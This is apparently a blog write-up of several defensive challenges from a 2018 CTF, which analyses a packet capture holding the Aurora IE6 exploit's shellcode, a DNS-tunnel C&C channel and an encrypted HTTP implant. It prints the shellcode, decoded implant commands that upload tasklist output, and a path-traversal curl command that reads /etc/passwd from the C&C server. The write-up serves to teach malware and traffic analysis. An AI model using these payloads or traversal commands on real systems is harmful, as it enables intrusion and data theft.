Write-up Winterchallenge 2018

From March till August 2018 the Dutch security services organized an online CTF contest with challenges from various topics. This blog post will show the methods used to finish some of the defensive challenges.

1.0 Borealis

The title of this challenge is a reference to the IE6 zero-day (CVE-2010-0249) that was part of the “Operation Aurora” campaign.

The challenge starts with a PCAP file (MD5: 85ff10ac25b33366b72f617fd3561db3) that is the basis of all 1.x challenges. The traffic in the given PCAP starts with an exploitation sequence that include the Aurora IE6 exploit (MD5: 51b1a60709a1cbf3303d2259775daf57, also available on https://pastebin.com/5Rrr6Gwn)

The exploit code itself is not very special and does not contain any references to a flag, so the only place where the flag can be hidden is inside the shellcode.

The shellcode can be analyzed statically with a disassembler or dynamically with a debugger, both options yield the same solution. In this solution the shellcode will be analyzed statically.

Any disassembler can be used to analyze the shellcode, I used the online disassembler available at defuse.ca. But plenty of other alternatives exist. Disassembling the shellcode shows that a decryption routine at the end of the shellcode is executed that decrypts the main chunk of the shellcode by xor’ing each dword with 0x52504f57.

sc_decryption_routine

Shellcode decryption loop

A simple Python script can be created that decrypts the encrypted part of the shellcode. As expected, the encrypted part of the shellcode containw the flag of this challenge.

#!/usr/bin/env python
import struct

# Shellcode from exploit
sc = u'\ufce8\u0000\ubf00\u5048\u5752\u021a\u1a1e\u1e00\uee52\u4d37\u2bd2\u81b0\u44ba\u504f\u0252\u1c1d\u3816\u3e38\u383e\u342e\u3806\u3909\u323e\u500e\uee02\ufe7f\u2bd2\u81b0\u3dc3\u3a4f\ubf52\u5054\u5752\u6a0c\u200e\u3e26\u3836\u2338\u230e\u3d2a\u0b22\u243c\u3033\u612a\u327c\u3537\ubf52\u506d\u5752\u2427\u2726\u7f75\u237d\u2420\u3b33\u2923\u383c\u7e3b\u2137\u3c26\u247d\u313b\u3235\u7e7e\u2f37\u502a\u5738\u81b0\ub53a\u5048\uee52\u7409\u2bd2\u81b0\u5738\u4ea7\u5752\u134f\u0b68\u2713\u393b\u3f2b\u2425\u0c13\u3226\u2022\u0b0e\u243c\u3033\u612a\u327c\u3537\uee52\u73e2\u2bd4\u81b0\ub53a\u5048\uee52\u7409\u2bd2\u81b0\uadeb\ud185\ua82e\u3a9e\u3421\u2b3a\u6533\u607a\u3537\u632e\u3166\u612e\u6367\u6229\u3337\u347b\u6667\u337d\u3660\u647f\u6e33\u602e\u572f\uc0df\u57c2\u504f\u5d52\ue989\u458b\u3500\u4f57\u5250\u4589\u8300\u04c5\uc085\uee75\ue1ff'.encode('utf-16le')

# Chunk of XOR-encrypted shellcode
encrypted_sc = sc[5:-23]

# Decrypted shellcode
decrypted_sc = ''.join([struct.pack('<I', struct.unpack('<I', encrypted_sc[idx:idx+4])[0] ^ 0x52504f57) for idx in range(0, len(encrypted_sc), 4)]) 

print decrypted_sc

Output:

sc_decrypted

Strings in the decrypted shellcode

Flag: jscu{a250eba34fa154f2ed4d512c2a04a9a0}

 

1.1  What’s in a name?

The PCAP also contains C&C traffic of the 1st stage implant downloaded by the Aurora exploit. Traffic from the PCAP indicates that the malware communicates with the C&C server over DNS. The C&C traffic can be identified by the hardcoded Transaction ID of 0x0001.

dns_traffic

C&C traffic over DNS

Data in the DNS tunnel is base32 encoded and can be extracted quite easily. Decoding the contents of some of the first data streams with C&C traffic reveals that the following commands are implemented:

  • list $OS_VERSION
  • get $FILENAME $OFFSET

Decoding the first few C&C commands and replies gives an idea of contents of the C&C traffic.

UDP Stream 6

Request Response
NRUXG5BAO5UW4ZDPO5ZS26DQFU2S4MJOGI3DAMA
(list windows-xp-5.1.2600)
MZWGCZZOMV4GKCTTORQWOZJSFZSXQZI
(flag.exe
stage2.exe)

UDP Stream 8

Request Response
M5SXIIDGNRQWOLTFPBSSAMA
(get flag.exe 0)
JVNJAAADAAA (…)
(MZ (…))

UDP Stream 9

Request Response
M5SXIIDTORQWOZJSFZSXQZJAGA
(get stage2.exe 0)
JVNJAAADAAA (…)
(MZ (…))

UDP Stream 10

Request Response
M5SXIIDGNRQWOLTFPBSSANZXGU
(get flag.exe 775)
(…)

The response to the list command indicates that two executables have been downloaded by the first stage malware, flag.exe and stage2.exe. The stage2.exe executable is only required for challenges 1.2 and 1.3.

Subsequently, the two executables are actually downloaded.  The executables are not downloaded in one piece but in chunks. The offset argument of the get command indicates which chunk of data at a certain offset in the executable should be downloaded next.

Because a large number of DNS requests is needed to transfer the executables, there is no other option than extracting the DNS data with TShark. The following two commands can be used to extract the DNS tunnel data containing the encoded flag.exe and stage2.exe executables into two manageable JSON files.

tshark -Tjson -e 'dns.qry.name' -e 'dns.resp.name' -r ./challenge.pcap 'dns.id == 1 && ip.src == 198.18.81.9 && !udp.stream eq 6 and dns.qry.name contains "M5SXIIDGNRQWOLT"' > dns_flag.json
tshark -Tjson -e 'dns.qry.name' -e 'dns.resp.name' -r ./challenge.pcap 'dns.id == 1 && ip.src == 198.18.81.9 && !udp.stream eq 6 and dns.qry.name contains "M5SXIIDTORQWOZJSF"' > dns_stage2.json

Extracting the executables from the dumped data should be quite trivial. The chunks of data do not always appear to be downloaded in a sequential order, but this only requires an additional sorting operation based on the offset parameter in the get command.

#!/usr/bin/env python
import base64
import json
import sys

def decode_base32(data):
    """ Base32 wrapper. """
    data += '=' * ((4 - len(data) % 4) % 4)
    try: return base64.b32decode(data)
    except: return base64.b32decode(data + '====')

def process(json_data):
    """ Extract exe from json encoded DNS tunnel data. """
    exe_dict = {}
    for stream in json.loads(json_data):
        layers = stream['_source']['layers']
        if 'dns.qry.name' not in layers: continue
        if 'dns.resp.name' not in layers: continue

        query_name = layers['dns.qry.name'][0]
        resp_name = ''.join(layers['dns.resp.name']).replace('.', '')
        offset = int(decode_base32(query_name).split('.exe ')[1])
        exe_dict[offset] = resp_name

        exe_data = ''.join([exe_dict[key] for key in sorted(exe_dict)])
        return decode_base32(exe_data)

if __name__ == '__main__':
    json_file = sys.argv[1]
    exe_file = sys.argv[2]

    exe_data = process(open(json_file).read())
    open(exe_file, 'w+').write(exe_data)

Output:

Filename MD5
flag.exe ea5f20e3107503df9e880255328ba2f5
stage2.exe 573f9054be01682859d81c466693b965

Flag: jscu{ea5f20e3107503df9e880255328ba2f5}

 

1.2 Smart Cyber Blockchain Cloud evasion

The PCAP file also contains C&C traffic from the stage2.exe implant with the C&C server at 136.144.187[.]30:80.

stage2_c2_pcap

Traffic between stage2.exe and C&C server

The data received from and sent to the C&C is encrypted, so the executable needs to be reverse engineered to figure out how encryption logic is implemented.

stage2.exe contains an http_get (0x401A40) and an http_post (0x401B30) method respectively used for getting data from and posting data to the C&C server.

http_get uses decrypt_c2_data (0x401950) to decrypt the commands received from the C&C server. Each beacon response starts with a 16-byte long key followed by the command to be executed.

http_post first encrypts data using the encrypt_c2_data (00401860) method before posting the encrypted data to the C&C server. http_post encrypts data it uploads to the C&C server with a DGA domain with a length of 16 characters as key. The DGA domain is present in the Host header of the beacon.

I did not analyse the actual encryption used in the binary, instead chose to patch the stage2.exe implant so I could make the binary decrypt the beacons present in the PCAP.

The following script can patch the hardcoded C&C url in the binary and enlarge the buffer that is used by InternetReadFile in the http_get method.

#!/usr/bin/env python
import sys

def main(exe_in, exe_out, url_host, url_path):
    url_old = 'http://136.144.187.30/d1133275ee2118be63a577af759fc052'
    url_new = url_host + '/' * (len(url_old)-len(url_host)-len(url_path)) + url_path

    buffer_size_old = '6800040000'.decode('hex') # push 0x400
    buffer_size_new = '6800400000'.decode('hex') # push 0x4000

    exe_data = open(exe_in).read()

    # Patch C&C downlink url
    exe_data = exe_data.replace(url_old, url_new)

    # Patch buffer sizes
    exe_data = exe_data.replace(buffer_size_old, buffer_size_new)

    open(exe_out, 'w+').write(exe_data)

if __name__ == '__main__':
    exe_in = sys.argv[1]
    exe_out = sys.argv[2]
    url_host = sys.argv[3]
    url_path = sys.argv[4]

To dump the decrypted C&C traffic we set a breakpoint in a debugger of choice (in this case WinDbg) at the decrypt_c2_data (0x401950) method. The method is called directly after the C&C response has been downloaded with InternetReadFile.

bp 401AF8

When the breakpoint is reached, eax points to the buffer with decrypted data.

Decoding the first two encrypted commands returned by the C&C server shows that the implant is instructed to upload the output of the tasklist command.

exec cmd /c tasklist /v > C:\windows\temp\tasklist.txt
ul C:\windows\temp\tasklist.txt

The flag is present in the encrypted task list that has been sent to the C&C server.

As previously mentioned, the implant encrypts data that it uploads to the C&C server with a pseudorandom generated domain of 16 characters. In this case the encryption key is the DGA domain qyhrvvpiludc.com.

post_request

Decrypting the encrypted output of the tasklist command reveals the flag.

post_decrypted

Flag: jscu{795a17b4b3a918807eac0d8fd1c8353b}

 

1.3 Command & Capture

The last challenge of the 1.x series involves exfiltrating data from the C&C server at 136.144.187[.]30. (At the moment of writing this server was already offline.)

An essential part of this challenge is the local file inclusion vulnerability in the C&C server software that can be used to download a given file from the C&C.

curl --path-as-is http://136.144.187.30/../../etc/passwd

Just as expected, the content of the returned ‘passwd’ file is encrypted. This is not an issue as the same decryption method previously used to solve the 1.2 Smart Cyber Blockchain Cloud evasion challenge can also be used to decrypt the passwd file.

The decrypted passwd file indicates that a user wopr exists. This user account requires some additional attention.

passwd_decrypted

Output from patched executable

With an LFI vulnerability in a web application it is (generally) not possible to list directories, though useful data can sometimes still be extracted from configuration or log files. In this case the .bash_history file in the home directory of the wopr user can be download and shows that the flag in located in /home/wopr/flag.txt.

bash_history_decrypted

Output from patched executable

Flag: jscu{da101ac4653b23e53fa0b17d6aa044710c81c2f2}

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s